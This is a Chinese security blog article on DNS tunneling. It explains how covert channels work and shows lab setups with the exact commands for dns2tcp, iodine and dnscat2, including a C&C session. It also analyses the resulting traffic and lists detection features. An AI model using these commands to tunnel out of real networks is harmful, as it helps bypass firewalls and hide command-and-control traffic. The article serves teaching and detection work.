freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

内网隐蔽隧道-DNS隧道流量分析
风起云涌123 2023-10-07 14:44:51 247199

DNS隧道

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。

一、DNS隧道概述

DNS在我们的网络世界中是一个非常重要的协议,它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构,顶层是根域,全球一共有13个根域。根域下为我们平常熟悉的顶级域,如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone,Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。

DNS的记录类型有很多,大家常见的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

二、DNS tunneling原理简述

DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。DNS Tunneling的中继模式过程如下图所示。

1694605455_6501a08f59a8b262498d0.png!small?1694605455265

上图中,UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时,Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询,比如从com域的服务器得到test.com域的权威服务器地址,最后定位到所查询域的权威DNS Server,形成一个逻辑信道。所以,我们可以将通信的数据封装在客户端查询的请求中,当请求的数据包经过上图的路径,最终到达我们控制的权威DNS Server时,再从请求数据包中解析出数据,并将相应的数据封装在DNS Response中,返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)

三、关键技术

中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。

对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。

最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。

四、实现工具及检测

DNS Tunneling从提出到现在已经有了很多的实现工具,历史比较早的有NSTX,Ozymandns,目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在编码,实现细节和目标应用场景方面存在一定的差异性。

目前已经提出了多种检测技术,例如通过请求和相应包的大小进行监测,通常dns tunneling为了取得较大的带宽,会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数,通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中,证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律,在自然语言的语料库里,一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中,证明了DNS Tunneling中由于域名做了编码,不符合Zipf定律,整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果时间窗口内,TXT记录的比例激增,那么也意味着存在异常。

五、dns2tcp

1. 简介

dns2tcp是一款利用dns协议传输tcp数据的工具

2. 适用条件

客户端的防火墙禁止tcp出站流量,无法上网,dns2tcp利用dns协议传输tcp数据,从而实现上网(dns协议是udp协议走53端口)。

3. 参数说明

-c     大流量压缩

-F     前台运行

-f     指定配置文件

-r     指定使用的资源

-z     指定DNS域名

-k     设置传输密码

-l     侦听本地端口

-d     编译水平(1 | 2 |3 )

4. 实验环境

kali客户端                    192.168.159.129

kali服务器                    192.168.159.140

windws server 2003             192.168.159.136

5. 实验准备

  • 在windows 2003 配置DNS服务器

1694605469_6501a09da15888dc3ef2a.png!small?1694605469567

  • 在kali服务器上修改文件/etc/dns2tcpd.cnf

1694605476_6501a0a42d55988832bf0.png!small?1694605476088

6. 实验演示------建立隧道

(1)服务器运行以下命令,侦听53端口,启动配置文件里所配置的资源,等待客户端来连接。

dns2tcpd  -F -d 3 -f /etc/dns2tcpd.conf

1694605482_6501a0aa9ed58692b6d93.png!small?1694605483306

(2)2.客户端运行以下命令,侦听本地7002端口,使用ssh资源,如果有数据产生,将通过DNS服务器将数据发给服务器。

这样我们的7002端口,就跟目标53端口建立了隧道。

dns2tcpc -c -k 123456 -d 3  -l 7002 -r ssh  -z   kali2019.test.com 192.168.159.140

1694605489_6501a0b1e3dce857caa21.png!small?1694605490025

(3)3.使用ssh连接本地7002端口,也就是连接服务器53端口,然后服务器在转发给22端口。

ssh root@127.0.0.1 -p 7002

1694605495_6501a0b725d437770c9e9.png!small?1694605495302

7. 流量分析

通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log,可以发现client通过TXT类型记录的域名前缀来发出数据,通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码,如果提取单条数据,进行base64解码,即可看到传输的内容。

1694605503_6501a0bf21b1120bd2a64.png!small?1694605502852


1694605508_6501a0c42fccecf0fd46d.png!small?1694605508389

从发包行为上可以发现,如果在进行传输数据这种大量数据交互操作的情况,dns2tcp会将数据切分成若干个小单元,依次发出,时间间隔非常小,而当无数据交互,空闲时,两端仍然通过发包维持通信状态,客户端大约每隔0.6s发出一个状态包。

从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信。

请求包和回应包的内容基本一致,除了回应包比请求包多了一串base64加密后的数据

1694605605_6501a125b49a54cc1074c.png!small?1694605605638


1694605610_6501a12a6820b510ed353.png!small?1694605610187

六、Iodine

1. 简介

iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有android客户端,不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s。

2. 参数说明

Server:

iodined  [options] <tunnel_ip> <topdomain>

tunnel_ip    :    指定server在TUN接口上的IP,客户端的TUN接口IP会和服务端在同一子网内

topdomain    :    用来构造域名的上级域,也就是我们ns记录中的指定域名

Options:

-D            :    指定调试级别,-DD指第二级,‘D’随等级增加

Client:

iodine [options] <topdomain>

Options:

-r         :    采用DNS中继模式传输数据

-M            :    指定上行主机名大小

-m         :    调节最大下行分片大小

-T         :    指定所使用的DNS请求类型,可选有NULL,PRIVATE,TXT,SRV,MX,CNAME,A

-O         :    指定数据编码规范

-L         :    是否使用懒惰模式,默认开启

-I         :    指定请求间的时间间隔

公用Options:

-f                 :    前台运行

-P password     :    指定一个password进行认证,如果不指定,后续会提

3. 实验环境

kali客户端                    192.168.159.129

kali服务器                    192.168.159.140

windws server 2003             192.168.159.136

4. 实验准备

在windows server 2003配置dns服务器(同dns2tcp)

1694605626_6501a13a9025b63bae15d.png!small?1694605626683

5. 实验演示

(1)服务端iodined -c -P 123456 10.0.0.1 kali2019.test.com -DDD

1694605632_6501a14045f3963241f27.png!small?1694605633065

查看服务器ip地址,多了一个dns0接口,IP地址是咱们设置的10.0.0.1

1694605638_6501a1462de939abde65d.png!small?1694605638304

(2)客户端iodine -r -f -P 123456 192.168.159.140 kali2019.test.com -M 200

1694605643_6501a14b697396d193b9d.png!small?1694605643802

查看本地客户端IP地址,多了一个dns0接口,并且IP地址是自动生成和服务器一个网段的10.0.0.2

1694605649_6501a151714c86ffd38c7.png!small?1694605649447

(3)客户端输入ssh root@10.0.0.1

1694605653_6501a155f07903c6f9e53.png!small?1694605654166

可以远程登录服务器,证明dns隧道建立成功

6. 流量分析

Iodine与dns2tcp非常类似,其实这些DNS隧道工具都大同小异。抓包分析可以看到,dns隧道的内容加密,并且上传下载频率高。

iodine的可移植性比较强,在许多不同的类UNIX系统和Win32上运行。都可以在两台主机之间建立隧道。

Iodine操作方便,自动处理接口上的IP号,最多16个用户可以同时共享一台服务器。

1694605661_6501a15d55f61d1f08b7e.png!small?1694605661553

在客户端启动后,会向服务器发送DNS请求包,客户端情报求包,请求包的type类型为10 (未知,可以作为检测的一种特征),

数据作为域名前缀yrbctn.kali2019.test.com, yrbh1o就是请求的数据。

1694605666_6501a162c16acd02519f1.png!small?1694605666628

七、dnscat2

1. 简介

Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上。

2. 实验准备------安装dnscat2

server端

root@kali:~#git clone //github.com/iagox86/dnscat2.git

root@kali:~# cd dnscat2/server

root@kali:~/dnscat2# gem install bundler

root@kali:~/dnscat2/server# bundle install(出现错误等一会就行)

client端

root@kali:~# git clone https://github.com/iagox86/dnscat2.git

root@kali:~# cd dnscat2/client

root@kali:~/dnscat2/client# make

3. 实验环境

kali客户端                    192.168.159.129

kali服务器                    192.168.159.140

4. 实验演示

(1)服务器端输入ruby ./dnscat2.rb

root@kali:~/dnscat2/server# ruby ./dnscat2.rb

1694605673_6501a169f33bc9febf9a5.png!small?1694605674207

(2)客户端输入

./dnscat --dns server=192.168.159.140,port=53 --secret=dd5ed1201ff9a94712a22c2866869a54

1694605681_6501a171108c84c8ab1dc.png!small?1694605681283

服务端显示

1694605686_6501a176b46c0bb701f07.png!small?1694605686696

  • 输入window -i 1,建立一个1的会话

1694605692_6501a17c27032ce6bbb00.png!small?1694605692243

输入ping,接收到响应pong,说明隧道建立成功。

1694605697_6501a18194257cb213592.png!small?1694605697434

5. 流量分析

抓包进行分析

1694605702_6501a18679f8f2896fa1d.png!small?1694605702637

在queries字段可以看到dnscat2加密后的域名开头有dnscat的样式。此数据包使用的是CNAME的类型

1694605708_6501a18c2ba688f927dae.png!small?1694605708023

dnscat2与其他DNS隧道工具不太一样,它提供了命令,并且以窗口的形式,来执行各种命令。通过数据包可以发现,dnscat2通过加密的手段隐蔽了CC服务器的域名。隐蔽性做的更好。

八、总结

即使是在限制非常严格的情况下,DNS 流量也应该是允许放行的。我们就可以利用 DNS 隧道技术在目标主机和我们的 C&C 服务器之间建立连接。命令和信息都包含在 DNS 查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。因此可以通过以下三个方面对DNS恶意流量进行分析。

  1. DNS会话中数据包的总数

正常DNS会话比较简短,随着一次DNS解析任务结束而结束。

DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。

1694605716_6501a194d85fa140a5869.png!small?1694605717453

  1. 隧道消息类型

在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。

  1. 域名固定部分不变

在DNS隧道的报文中,我们可以看到变化的都是子域名。

1694605723_6501a19b23f048d9f4bff.png!small?1694605723059

但是Dnscat2,根域名也加密了并且一直变化,但是有一个显著的标志。

1694605730_6501a1a26d3f59fbbbfa0.png!small?1694605730583

# 渗透测试 # 网络安全 # 系统安全 # 漏洞分析 # 网络安全技术
本文为 风起云涌123 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试技术分享
风起云涌123 LV.5
安全研究员,拥有CRTO证书
  • 22 文章数
  • 10 关注者
基于deepseek本地大模型的敏感信息检测的burp插件开发
2025-02-06
tomcat takeover靶场实战
2024-07-11
CRTO(Certified Red Team Operator )课程和认证经验分享
2024-01-01
文章目录